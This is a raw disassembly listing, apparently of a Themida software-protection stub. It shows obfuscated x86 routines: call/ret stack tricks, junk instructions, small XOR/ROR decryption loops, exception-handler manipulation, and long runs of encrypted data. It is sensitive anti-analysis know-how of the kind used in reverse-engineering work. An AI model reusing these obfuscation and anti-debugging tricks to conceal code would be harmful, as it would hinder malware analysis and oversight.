		lea	eax, [ebp+6143602h]
		lea	edi, [ebp+614360Ah]
		mov	[eax], edi
		jmp	loc_57D447
; ---------------------------------------------------------------------------


loc_57D424:				; CODE XREF: Themida_:0057D3F5j
		lea	eax, [ebp+611017Dh]
		mov	eax, [eax+38h]
		add	eax, 9B46F317h
		mov	[ebp+6143602h],	eax
		lea	eax, [ebp+611017Dh]
		mov	eax, [eax+3Ch]
		mov	[ebp+6143606h],	eax


loc_57D447:				; CODE XREF: Themida_:0057D41Fj
		lea	eax, [ebp+614361Fh]
		mov	[ebp+6110D9Dh],	eax
		jmp	loc_57D4DF
; ---------------------------------------------------------------------------
		push	edx
		mov	edx, esp
		pusha
		mov	esi, [edx+8]
		mov	edi, [edx+0Ch]
		mov	eax, 0A945CAB2h
		jmp	loc_57D473
; ---------------------------------------------------------------------------


loc_57D46C:				; CODE XREF: Themida_:0057D475j
		add	[esi], al
		xor	[esi], al
		ror	eax, 1
		inc	esi


loc_57D473:				; CODE XREF: Themida_:0057D467j
		cmp	esi, edi
		jb	loc_57D46C
		popa
		pop	edx
		retn	8
; ---------------------------------------------------------------------------
		push	edx
		mov	edx, esp
		pusha
		mov	esi, [edx+8]
		mov	edi, [edx+0Ch]
		mov	eax, 0A945CAB2h
		jmp	loc_57D49B
; ---------------------------------------------------------------------------


loc_57D494:				; CODE XREF: Themida_:0057D49Dj
		xor	[esi], al
		sub	[esi], al
		ror	eax, 1
		inc	esi


loc_57D49B:				; CODE XREF: Themida_:0057D48Fj
		cmp	esi, edi
		jb	loc_57D494
		popa
		pop	edx
		retn	8
; ---------------------------------------------------------------------------
		push	edx
		mov	edx, esp
		push	esi
		push	ecx
		push	ebx
		xor	ebx, ebx
		mov	esi, [edx+8]
		mov	ecx, [edx+0Ch]
		jmp	loc_57D4CE
; ---------------------------------------------------------------------------


loc_57D4BB:				; CODE XREF: Themida_:0057D4D0j
		lodsb
		cmp	al, 2Dh
		jz	loc_57D4CE
		add	al, 98h
		xor	al, 13h
		xor	bl, al
		rol	ebx, 8
		dec	ecx


loc_57D4CE:				; CODE XREF: Themida_:0057D4B6j
					; Themida_:0057D4BEj
		or	ecx, ecx
		jnz	loc_57D4BB
		mov	eax, ebx
		pop	ebx
		pop	ecx
		pop	esi
		pop	edx
		retn	8
; ---------------------------------------------------------------------------


loc_57D4DF:				; CODE XREF: Themida_:0057D453j
		lea	eax, [ebp+6143892h]
		mov	[ebp+6112B25h],	eax
		lea	eax, [ebp+61438BAh]
		mov	[ebp+6112845h],	eax
		lea	eax, [ebp+61438E2h]
		mov	[ebp+611324Dh],	eax
		pusha
		pusha
		mov	dx, di
		pusha
		cld
		movsx	edi, ax
		popa
		popa
		mov	eax, eax
		mov	dl, 0E5h
		cmp	dword ptr [ebp+61125F1h], 0
		jnz	short loc_57D525
		cmp	dword ptr [ebp+611243Dh], 0
		jz	short loc_57D53E


loc_57D525:				; CODE XREF: Themida_:0057D51Aj
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 40Eh
		mov	[ebp+6111D4Dh],	eax
		lea	ebx, [ebp+613B229h]
		call	ebx
		pop	ebx
		pop	eax


loc_57D53E:				; CODE XREF: Themida_:0057D523j
		cmp	dword ptr [ebp+611243Dh], 0
		jz	short loc_57D55E
		push	eax
		push	ebx
		mov	eax, 40Eh
		mov	[ebp+6111D4Dh],	eax
		lea	ebx, [ebp+613AF18h]
		call	ebx
		pop	ebx
		pop	eax


loc_57D55E:				; CODE XREF: Themida_:0057D545j
		push	0
		push	edx
		call	sub_57D569
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57D569	proc near		; CODE XREF: Themida_:0057D561p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_57D569	endp

; ---------------------------------------------------------------------------
		leave
		push	0
		push	ebp
		call	sub_57D585
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57D585	proc near		; CODE XREF: Themida_:0057D57Dp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_57D585	endp

; ---------------------------------------------------------------------------
		db 9Ch,	62h, 80h
; ---------------------------------------------------------------------------
		jb	loc_57D5A2
		mov	dx, 0A38Fh


loc_57D5A2:				; CODE XREF: Themida_:0057D598j
		mov	eax, eax
		jno	loc_57D5AD
		mov	si, cx


loc_57D5AD:				; CODE XREF: Themida_:0057D5A4j
		cmp	dword ptr [ebp+6111DB9h], 0
		jz	loc_57D5F8
		push	0
		push	ebx
		call	sub_57D5C5
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57D5C5	proc near		; CODE XREF: Themida_:0057D5BDp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_57D5C5	endp

; ---------------------------------------------------------------------------
		fld	dword ptr [ecx-4ACE09Dh]
		sub	al, 26h
		test	al, 0BBh
		add	cx, 5F59h
		jmp	loc_57D82E
; ---------------------------------------------------------------------------
		jmp	loc_57D5F8
; ---------------------------------------------------------------------------
		pop	esi
		cmp	[esi], esp
		push	ebx
		nop
		movsb
		mov	esi, [ebx-2Dh]
		pushf


loc_57D5F8:				; CODE XREF: Themida_:0057D5B4j
					; Themida_:0057D5E9j
		mov	edi, ds
		jg	loc_57D604
		mov	si, 0C1DCh


loc_57D604:				; CODE XREF: Themida_:0057D5FAj
		test	di, 4
		jnz	loc_57D82E
		push	ebx
		mov	edx, 273B45EBh
		pop	edx
		cmp	dword ptr [ebp+6111E29h], 0
		jnz	loc_57D64A
		push	0
		push	ebx
		call	sub_57D62E
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57D62E	proc near		; CODE XREF: Themida_:0057D626p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_57D62E	endp

; ---------------------------------------------------------------------------
		dw 0B47Dh
		dd 69B703ECh, 1E4E96Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_57D64A:				; CODE XREF: Themida_:0057D61Dj
		sub	edi, edi
		movzx	esi, ax
		lea	ebx, [ebp+6143C0Ah]
		push	0
		push	ebp
		call	sub_57D660
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57D660	proc near		; CODE XREF: Themida_:0057D658p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp


loc_57D66E:				; CODE XREF: Themida_:0057D6BFj
		push	ebp
		retn
sub_57D660	endp

; ---------------------------------------------------------------------------
		dd 875606D6h, 0F5EB5A94h, 7E9h,	4F66300h, 48BC66E3h, 860F5093h
		dd 2, 0BE93BAB6h, 1E5DC3ECh, 3870Fh, 8B660000h,	35FF64CAh
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_57D6AF
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57D6AF	proc near		; CODE XREF: Themida_:0057D6A7p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_57D6AF	endp

; ---------------------------------------------------------------------------
		jnp	short loc_57D66E
		fisub	word ptr [esi-47h]
		cld
		jmp	short loc_57D71A
; ---------------------------------------------------------------------------
		clc
		pop	esi
		push	ecx
		push	edx
		js	$+6
		pop	edx
		pop	esi
		mov	large fs:0, esp
		mov	eax, esp
		push	0
		push	edx
		call	sub_57D6E7
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57D6E7	proc near		; CODE XREF: Themida_:0057D6DFp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_57D6E7	endp

; ---------------------------------------------------------------------------
		xchg	eax, ebx
		adc	bl, [eax+1CDF08Ch]
		jmp	short $+2
		jmp	loc_57D71A
; ---------------------------------------------------------------------------
		dw 76C8h
		dd 1CAC387Dh, 0AE309A0Bh, 0A37FB0CFh, 0D147189Ah
		db 40h,	0D5h
; ---------------------------------------------------------------------------


loc_57D71A:				; CODE XREF: Themida_:0057D6C5j
					; Themida_:0057D701j
		push	edx
		pusha
		movsx	eax, dx
		jg	$+6
		popa
		pop	edx
		pop	large dword ptr	fs:0
		mov	cl, 0CCh
		add	esp, 4
		push	0
		push	eax
		call	sub_57D73E
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57D73E	proc near		; CODE XREF: Themida_:0057D736p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_57D73E	endp

; ---------------------------------------------------------------------------
		cdq
		push	ss
		mov	ecx, edx
		mov	cl, dh
		or	eax, eax
		jz	loc_57D82E
		push	0
		push	eax
		call	sub_57D767
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57D767	proc near		; CODE XREF: Themida_:0057D75Fp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_57D767	endp

; ---------------------------------------------------------------------------
		db 0E5h
; ---------------------------------------------------------------------------
		dec	esi
		xchg	ebx, esp
		db	2Eh
		mov	si, 0C974h
		add	dl, 0B2h
		popa
		push	0
		push	edx
		call	sub_57D78F
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57D78F	proc near		; CODE XREF: Themida_:0057D787p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_57D78F	endp

; ---------------------------------------------------------------------------
		pop	eax
		inc	ecx
		stc
		lea	edi, [ebp+6117197h]
		mov	cx, 7D7Eh
		mov	eax, 1
		jo	loc_57D7BC
		sbb	cx, 7725h


loc_57D7BC:				; CODE XREF: Themida_:0057D7B1j
		jmp	edi
; ---------------------------------------------------------------------------
		pusha
		xor	eax, 6379110Eh
		sbb	ah, 24h
		popa
		push	esi
		mov	edx, 29622E48h
		pop	ecx
		push	edi
		mov	ebx, [esp+10h]
		mov	eax, [ebx+0B8h]
		movzx	eax, byte ptr [eax+1]
		dec	al
		mov	[ebx+0B0h], eax
		add	dword ptr [ebx+0B8h], 2
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_57D7FD
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57D7FD	proc near		; CODE XREF: Themida_:0057D7F5p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_57D7FD	endp

; ---------------------------------------------------------------------------
		db 5Bh,	9, 8Eh
		dd 770E3A3Ah, 4EB5C1A2h, 0A4B2BA66h, 5E860h, 7A2B0000h
		dd 8B84E00Ch, 0E6805BC7h
; ---------------------------------------------------------------------------
		das
		popa


loc_57D82E:				; CODE XREF: Themida_:0057D5E4j
					; Themida_:0057D609j ...
		popa
		mov	eax, eax
		push	0
		push	ebp
		call	sub_57D83C
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57D83C	proc near		; CODE XREF: Themida_:0057D834p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_57D83C	endp

; ---------------------------------------------------------------------------
		dd 0BF0F0100h, 0F1BD83CAh, 61125h, 0BD830975h, 611243Dh
		dd 50197400h, 0B8C08B53h, 40Eh,	0A498589h, 9D8D0611h, 613B290h
		dd 585BD3FFh, 243DBD83h, 74000611h, 0B8535017h,	40Eh, 0A498589h
		dd 9D8D0611h, 613AF31h,	585BD3FFh, 6ACBBF0Fh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 74DC353h, 0E75AE8E7h, 40E8EFBEh, 6AC08B53h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 0EAA7C352h, 0DCA87175h, 0E9255D79h, 8, 0FA2E225Bh, 8984A2E0h
		dd 0EE8C28Bh, 1D000000h, 0C122344Ch, 579FF0BEh,	967E3408h
		dd 11E816h, 0A2C50000h,	39F9C137h, 0E7143FFh, 0C75A487Ch
		dd 0B3406A71h, 8B5A5FC0h, 0D6C281F9h, 5300006Bh, 0B95E5F50h
		dd 0
; ---------------------------------------------------------------------------
		push	ebx
		ja	loc_57D945
		ja	$+6


loc_57D945:				; CODE XREF: Themida_:0057D939j
		pop	esi


loc_57D946:				; CODE XREF: Themida_:loc_57D9CFj
		push	dword ptr [ecx+edx]
		mov	di, 2E06h
		pop	eax
		call	near ptr loc_57D95E+2
		stosd
		add	bh, al
		ja	short near ptr loc_57D989+4
		adc	esi, [eax+61CC6673h]


loc_57D95E:				; CODE XREF: Themida_:0057D94Ep
		imul	eax, [edx-15A7449Ah], 5Eh
		sub	eax, 51BAB48Fh
		push	eax
		pusha
		pusha
		popa
		jmp	loc_57D981
; ---------------------------------------------------------------------------
		dd 6ABB186Eh, 0C5188872h, 0EEA4C5A6h
; ---------------------------------------------------------------------------
		push	edx


loc_57D981:				; CODE XREF: Themida_:0057D96Fj
		popa
		pop	esi
		add	eax, 73D19513h


loc_57D989:				; CODE XREF: Themida_:0057D956j
		sub	eax, 452AA032h
		push	esi
		mov	edi, 3A0595ABh
		pop	ebx
		mov	[edx+ecx], eax
		pusha
		cmc
		sub	ah, 0B8h
		popa
		sub	ecx, 4
		jle	loc_57D9AC
		mov	di, 0FFEBh


loc_57D9AC:				; CODE XREF: Themida_:0057D9A2j
		cmp	ecx, 0FFFF9508h
		jnz	loc_57D9CF
		jmp	loc_57D9E1
; ---------------------------------------------------------------------------
		db 0B0h, 0ADh, 75h
		dd 40C57A9Ah, 31051B9h,	807D4E7Bh
		db 28h,	33h, 0E1h
; ---------------------------------------------------------------------------


loc_57D9CF:				; CODE XREF: Themida_:0057D9B2j
		jmp	loc_57D946
; ---------------------------------------------------------------------------
		fcmovnb	st, st(6)
		pop	ds
		pushf
		aas
		mov	byte ptr [ebx],	0B4h
		and	al, [ecx-13h]
		aam	3


loc_57D9E1:				; CODE XREF: Themida_:0057D9B8j
		jmp	short loc_57D9EB
; ---------------------------------------------------------------------------
		align 4
		dd 0
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_57D9EB:				; CODE XREF: Themida_:loc_57D9E1j
		jmp	loc_57DA6B
; ---------------------------------------------------------------------------
		dd 10F5260h, 5AFE244Ch,	8B24C283h, 111B7185h, 0E5858D06h
		dd 8B06148Ch, 888B08h, 8B000010h, 4A8B660Ah, 218D89FCh
		dd 8306143Eh, 111E29BDh, 840F0006h, 0Fh, 0FF006A60h, 1105C595h
		dd 0C4E96106h, 66FFFFFFh, 0C1FC7289h, 896610CEh, 0CD520272h
		dd 85895A04h, 6143E1Dh,	3E21B58Bh, 0CEC10614h, 72896610h
		dd 21B58B02h, 6606143Eh, 61FC7289h, 3E1D858Bh
; ---------------------------------------------------------------------------
		adc	al, 6
		retn
; ---------------------------------------------------------------------------


loc_57DA6B:				; CODE XREF: Themida_:loc_57D9EBj
		lea	edx, [ebp+61115E9h]
		mov	[ebp+611006Dh],	edx
		mov	[ebp+6113101h],	edx
		inc	dword ptr [ebp+6113101h]
		mov	byte ptr [ebp+61106D1h], 53h
		push	0FCB148D8h
		push	dword ptr [ebp+6110ED1h]
		lea	eax, [ebp+6113AA6h]
		call	eax
		mov	[ebp+61105C5h],	eax
		lea	eax, [ebp+6143639h]
		mov	[ebp+6112AD1h],	eax
		jmp	short loc_57DAD1
; ---------------------------------------------------------------------------
		align 4
		dd 7 dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_57DAD1:				; CODE XREF: Themida_:0057DAAFj
		jmp	loc_57E0A0
; ---------------------------------------------------------------------------
		jmp	loc_57E099
; ---------------------------------------------------------------------------
		push	614406Ch
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	6144112h
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	614436Bh
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	61443D1h
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		db 7Eh
		dd 1791C7C8h, 2F79DFD0h, 0C95B313Eh, 0E7411718h, 0FD266C63h
		dd 0B6B9A958h, 898646E0h, 0E9E661C3h, 0C8C701A3h, 57F83082h
		dd 0C9824DA7h, 65A5E7BCh, 58D0DF0Fh, 0C9D4DB0Ah, 968CDC0Eh
		dd 33DD294Fh, 0E96EED7Fh, 4F967D39h, 4394B2CEh,	2E211CF7h
		dd 0BFF361DFh, 0FCC0DE69h, 0B98FCDDAh, 82F6F96Bh, 224Dh
		dd 8DBE1300h, 0C1CF968Ch, 64B9B6B3h, 0B2202F18h, 217553FEh
		dd 0CC33DE71h, 0B834D5AAh, 23BED2h, 0BECC0000h,	0CF968C8Ch
		dd 0F521B711h, 968CB462h, 8E05B3CFh, 0CF968C60h, 6FDB49E7h
		dd 0AACB3DE8h, 0D8BECAD5h, 8D824366h, 8D24D970h, 396F4F96h
		dd 727DE82Eh, 0C3977D1Ch, 9D4E8097h, 0A7D54F96h, 32BE5846h
		dd 5332098Bh, 61E30169h, 0AF09286Eh, 0C7888FFBh, 0CF55A824h
		dd 0E9818EB5h, 0ACC6B2CEh, 23FABEB1h, 0A7F4F224h, 5AED4355h
		dd 23734044h, 6F0E76h, 0B4DE0000h, 6D62DC6Ch, 0F27183FFh
		dd 783020FDh, 0CB010B0Ch, 0FF15D5AAh, 84334748h, 4558578Ch
		dd 0E73D6D9Bh, 82246A65h, 86B24F40h, 0B28F5862h, 3A7FD69h
		dd 392F0000h, 1C66036h,	6FDE480Eh, 49F82A60h, 52961046h
		dd 87ACF75Dh, 0B79D9256h, 98FEF16Dh, 7CD2DD0Eh,	6137382Ah
		dd 86B4DBD7h, 9DC9824Ch, 72AD8488h, 0F1000003h,	0C7ABA4A3h
		dd 8D8243B5h, 8D25D970h, 0B2CF96h, 8FCF968Dh, 0CF968C5Eh
		dd 968CB76Bh, 8D12C4CFh, 6DA1CF96h, 708F968Ch, 8B8CFCA8h
		dd 15AA80C5h, 188743D1h, 0EA99BE12h, 4F2351BBh,	0D5C9D460h
		dd 7D808FBFh, 2682AFC3h, 2B595696h, 4BAB517Fh, 0D38518B0h
		dd 0CB8A6035h, 0EF838358h, 51A7FC93h, 708C0F94h, 4E13A1A1h
		dd 86B48949h, 301h, 0B69C9351h,	92F8F76Ch, 74DAD510h, 52383732h
		dd 391F10D0h, 0AC9445EEh, 8BBBEDA3h, 0EB54CE84h, 0CA74AEE4h
		dd 0F5058FC5h, 824BB462h, 0A2E2B3C9h, 0D1DE0F65h, 0C61C14CCh
		dd 8CF20B04h, 62D57902h, 4F23DAA8h, 0FF9006E2h,	0CF95C04Fh
		dd 45F59AD4h, 0C2CF95C0h, 0DE8A38B6h, 0F1213662h, 76CF95C0h
		dd 59898EFAh, 0EECF95C0h, 0B079DE52h, 0B1D5A9FFh, 6ADB4D03h
		dd 48F52F65h, 4FA9A647h, 9A88B6D9h, 4BCCC981h, 0C9819A9Bh
		dd 37F1CA8h, 819ADE0Ch,	59D765C9h, 0F1517F2Bh, 41BB0AA7h
		dd 7E6E954h, 3AADABD9h,	656761AEh, 5FF00C64h, 0CF95F69Eh
		dd 385F3543h, 0CF95A206h, 3565319Fh, 82CDFF9h, 0A24A693Fh
		dd 4FA469CEh, 0BAF6D5AAh, 4B19C94Eh, 922EC982h,	824ACD7Dh
		dd 313E2FC9h, 0D95774ECh, 9ECA6651h, 1C13D022h,	89DB5F81h
		dd 4DFD925Fh, 0DAC9824Ah, 4A3BEB6Ch, 0BCC8C982h, 0C2CD740Eh
		dd 0BAA4FE54h, 7B89C5B5h, 9F4FC4CBh, 0D1C9824Ah, 5D831A15h
		dd 0BF6E02BEh, 824A7698h, 0D5816FC9h, 6CDB2965h, 0F9280F63h
		dd 5DCF9689h, 294A42B3h, 101863E3h, 0F42799A7h,	9A46A184h
		dd 64E63C6Ch, 56913F6Bh, 843045CAh, 7A1C7ABh, 1433CAC5h
		dd 0CF95A7F2h, 0CC90DEBh, 36392B52h, 79C4C228h,	39F89FCBh
		dd 2ED5AA96h, 924CA692h, 0F36DB79Dh, 0D3FD21FCh, 0F3DAB261h
		dd 0A5909838h, 7679EB5Bh, 5A8788F8h, 0EFCF9622h, 598D4C51h
		dd 0A4CF95F6h, 0FE28B05Eh, 7FF3B073h, 3838C5CAh, 444BF88Ah
		dd 8969FA2Ch, 280C3A5Dh, 91BCF96h, 14CCD1DEh, 0B48892E6h
		dd 0FA0FCD8Ah, 1Bh, 0F3F508Ch, 14CF9634h, 0BE7A9098h, 0CF96A98Ch
		dd 1808h, 7C65C00h, 0BEEA6008h,	0CF96A68Ch, 0B8B7B2C0h
		dd 0BFA9FB65h, 0BFF36DB0h, 0DC6CB44Dh, 0AD936A65h, 0E86669DBh
		dd 7F104CB8h, 0CF968CCFh, 83B3D854h, 0F5CF968Ch, 2947444Bh
		dd 0CB120541h, 8CD5AACBh, 58A0AD70h, 0B4E05C0Ch, 824E73A3h
		dd 299AF1C9h, 2304E841h, 15C54A24h, 12C981E7h, 1F0068E6h
		dd 0CF92EA74h, 29D97EAAh, 3ECF90E8h, 7F70F082h,	0D1FEB2AEh
		dd 0E740EE61h, 0A9C7CF90h, 0F96EEE3Bh, 0A17A8949h, 0A8B5h
		dd 353A2800h, 111EC55Fh, 737CE93Bh, 515E8B1Dh, 0B6B9A9FBh
		dd 6F9E47E0h, 49EF4FBh,	2781D7D8h, 0C3652B24h, 0CE480E01h
		dd 496D9DB2h, 0A9FAC982h, 0DC6CB47Bh, 8EFA6867h, 0AACB4089h
		dd 2AF301D5h, 0D38FDB25h, 935443BCh, 395E28CFh,	0CF915209h
		dd 0CBC4061Eh, 131CCB5Dh, 0C9D8568Ah, 894958FDh, 420A300Dh
		dd 92000000h, 0B3F55B54h, 53D5BBB4h, 6DB79D92h,	1395FBF4h
		dd 3172D8D7h, 6A65DD0Ch, 4D428224h, 0ADA29D07h,	8C83BDE7h
		dd 1B3C4CC6h, 0C98249EBh, 65F92B78h, 3536DD0Fh,	0CF718C3Ah
		dd 397ABh, 86A50000h, 8A854306h, 303F2973h, 5B5497EDh
		dd 0C5CA7A42h, 6B64DC38h, 919E4A92h, 3E31300Ch,	0A7A895EFh
		dd 0C6C97E46h, 89513727h, 4C181E1h, 81000000h, 4E9h, 240C8700h
		dd 242C895Ch, 6F068h, 24348900h, 5E08950h, 4, 42Dh, 24048700h
		dd 2404895Ch, 3F3DBB53h, 0DE890614h, 81241C8Bh,	4C4h, 4EC8300h
		dd 81242489h, 42404h, 81580000h, 4ECh, 241C8900h, 5889F389h
		dd 48B5B08h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		dd 0D0E0583Ch, 0A8F2B5F2h, 0C26B2147h
		db 0A0h
; ---------------------------------------------------------------------------


loc_57E099:				; CODE XREF: Themida_:0057DAD6j
		mov	eax, 6144438h
		add	eax, ebp


loc_57E0A0:				; CODE XREF: Themida_:loc_57DAD1j
		mov	ecx, eax
		jmp	short $+2
		jmp	loc_57E67F
; ---------------------------------------------------------------------------
		jmp	loc_57E678
; ---------------------------------------------------------------------------
		push	61445CEh
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	614470Bh
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	614477Fh


loc_57E0C7:				; CODE XREF: Themida_:0057E0E1j
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	6144854h
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	6144964h
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		pop	ecx
		jmp	short loc_57E0C7
; ---------------------------------------------------------------------------
		db 0AEh
		dd 8AC0CF74h, 6C222D18h, 4A000F3Ah, 316768D8h, 0A49C4DF6h
		dd 8343E5ABh, 0E35CC68Ch, 0C27CA6ECh, 0FD0D87CDh, 8247AC5Ah
		dd 0B4EABBC9h, 19E4EB5Eh, 65395327h, 8CF82629h,	0F10FCF96h
		dd 8C6496B9h, 0C373CF96h, 0C8CF968Ch, 0CF968D19h, 968C74A6h
		dd 8CD003CFh, 29DDCF96h, 0BC4F968Dh, 0E4500054h, 968CC373h
		dd 7C34404Fh, 0B1740F00h, 4BF955A7h, 555A851Fh,	77BAA5FFh
		dd 856932E0h, 15833149h, 297D5B88h, 9381D679h, 8664F96h
		dd 7E8BBBDCh, 6C984F96h, 967E37E7h, 0DD72CC4Fh,	4F967F2Dh
		dd 0E2108E3Ah, 4C688417h, 1FCB1009h, 443h, 0F258578Dh
		dd 0D6BCB3B0h, 0B89E914Ch, 9EF4FB6Eh, 7DD3DC04h, 10D0012Ah
		dd 7FEF391Fh, 5F881A70h, 0BEA8FA50h, 2159DBB1h,	8248002Eh
		dd 1E0E07C9h, 0F8262965h, 0FCF968Ch, 0A8A7A7F1h, 5D87EB55h
		dd 3611ECE3h, 0CF968D05h, 42D5017Dh, 0CF968C94h, 0DB0D6593h
		dd 535C8E48h, 74B9ABFDh, 968D33E3h, 0D48430CFh,	968C9343h
		dd 0F66490CFh, 0AD99EB17h, 708D8246h, 84DE52C0h, 5280975Ah
		dd 0D1CF968Ch, 2F4535A3h, 0A079313Eh, 92DABC7h,	0E3392B2h
		dd 152E4028h, 381E11D3h, 848BBAC8h, 848BC779h, 0CF95DD56h
		dd 51DB5FEDh, 0FCD406Dh, 37F25h, 8143CB00h, 27D87F8Eh
		dd 60CF968Dh, 0CFE903Eh, 7BF710FDh, 0A066E137h,	51E3A9A6h
		dd 0B5083659h, 711FCF95h, 0F9574084h, 0A974E2EDh, 0F7296B75h
		dd 78E383C2h, 7E71F230h, 535C8E18h, 693D854Ah, 0A9329F39h
		dd 623DB949h, 8CBEE80Eh, 16C9D783h, 0E210079Ah,	61CF9652h
		dd 0C6E435D3h, 429A5327h, 0A0C78D82h, 0CF95E56Eh, 78934CA6h
		dd 0B756C4CBh, 8343E189h, 0F4DC718Ch, 145FF0A0h, 0D9D5A6E9h
		dd 0C2C15EABh, 0EC318F5Dh, 3067Eh, 959A4800h, 0F1FE65BFh
		dd 0D3DC099Bh, 313E2B7Dh, 1619C95Bh, 8F3EE740h,	0A4FE545Bh
		dd 47E1B7B8h, 63C58B84h, 6EA8EEE1h, 45CD7D12h, 0C95AC982h
		dd 8E8143DBh, 343B257Fh, 5C5393E9h, 8CDD51F6h, 0B86ACF96h
		dd 3ACF969Ch, 3F55050Ah, 78F8050Ah, 0EF057930h,	0B6AA737Ch
		dd 7CA95DC2h, 0D43CCF96h, 0BFD080h, 0E5D5A77Fh,	74A7BA57h
		dd 8A538F5Dh, 2925Ch, 9063C00h,	6D62E143h, 4F40FD27h, 0A5AA9F09h
		dd 828DB5EFh, 3B25BCCh,	2082C8C7h, 0C3652B24h, 0DF490F00h
		dd 0EA2C626Dh, 45518196h, 0BDD6C982h, 0AF29654Fh, 6750764Bh
		dd 3FEF64A9h, 0C4CF95F3h, 0A757F8A8h, 0BCCF95F3h, 83A6800h
		dd 0AC9EE607h, 0C3025AA3h, 0F3D9090Eh, 0D26ECF95h, 0C20359A4h
		dd 0ADF330CDh, 17DB89Ah, 377B74F3h, 0A6A066E1h,	0A599E3A9h
		dd 0ED0FCD76h, 204h, 8C8CBEB3h,	65E6CF96h, 4182246Ah, 0B1A6124Eh
		dd 0CF968C81h, 57066A86h, 0C0DDD20Dh, 0A64748F4h, 7E6E95Eh
		dd 4F6DF62Ah, 27E162A6h, 1B652B24h, 0FCDEF23h, 516Fh, 6CB43D00h
		dd 0B4C74838h, 0DAD5A7B3h, 3860833Ch, 670B38D0h, 4CED3C48h
		dd 548F5D8Fh, 1BD43F7h,	0D1170000h, 392E78DEh, 7C66036h
		dd 61E04208h, 4AFE286Eh, 6F940F45h, 0CF858ABEh,	0B0E6E955h
		dd 94FAF576h, 79DFD012h, 9E4CC33Fh, 0A5C98244h,	5F53BCF0h
		dd 72A0B7E3h, 0F1CF968Ch, 0E2082F43h, 61CF968Ch, 71F2CAD3h
		dd 58A5AA9Ah, 77A7A898h, 8CCF968Ch, 1A8CC270h, 0ED06C328h
		dd 5FCD7B74h, 7521814Eh, 555A851Fh, 0B4BBA5FFh,	0DCD31369h
		dd 0DCD3166Ch, 88E03254h, 0A8C0CF7Ah, 8D0B3B5Ch, 394BCF96h
		dd 0F777010Eh, 0E907B0F8h, 0F61DC814h, 0BCA47976h, 0CB29480Eh
		dd 37360E9Fh, 9CF65238h, 0E050ADA2h, 8C73A788h,	0AE0ACF96h
		dd 7A898EFAh, 0CFD5A7C0h, 0B95C1B1h, 4544BC67h,	0B0F286A5h
		dd 4CD6BCB3h, 0B9880897h, 21F01E31h, 0F977C985h, 978666DBh
